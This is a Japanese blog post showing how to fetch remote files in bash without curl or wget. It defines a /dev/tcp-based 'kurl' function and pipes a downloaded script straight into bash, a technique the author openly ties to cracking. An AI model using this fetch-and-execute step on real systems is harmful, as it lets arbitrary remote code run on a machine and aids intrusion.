フラミナル

考え方や調べたことを書き殴ります。IT技術系記事多め

【bash】curlやwgetが無いときに外部ファイルを取得するテクニック

クラッキングの際に用いられるシェルスクリプトを使います。今回Gistに用意したのはHTTPベースでしか動作しません

gistdafb2e8d021f1156fc47693873f0d4b6

動かしてみる

下準備

実行するスクリプト

#!/bin/bash

echo hello

functionの読み込み

$ function kurl() {
  read proto server path <<<$(echo ${1//// })
  DOC=/${path// //}
  HOST=${server//:*}
  PORT=${server//*:}
  [[ x"${HOST}" == x"${PORT}" ]] && PORT=80

  exec 3<>/dev/tcp/${HOST}/$PORT
  echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3

  (while read line; do
    [[ "$line" == $'\r' ]] && break
   done && cat) <&3

   exec 3>&-
}

スクリプトを公開するためにHTTPサーバを起動します。(実際はアクセスしたいWebサイトがあると思うのでこの工程は不要です)

$ python2 -m SimpleHTTPServer 8000

実行

[ec2-user@ip-10-0-0-123 ~]$ bash < <(kurl http://localhost:8000/hello.sh)
hello

こうなれば成功です。今回はhelloしか表示しないスクリプトですが、いくらでも自由にスクリプトを書くことができますのでやりたい放題になります。

これでcurlとかwget落としてきてもいいですしね。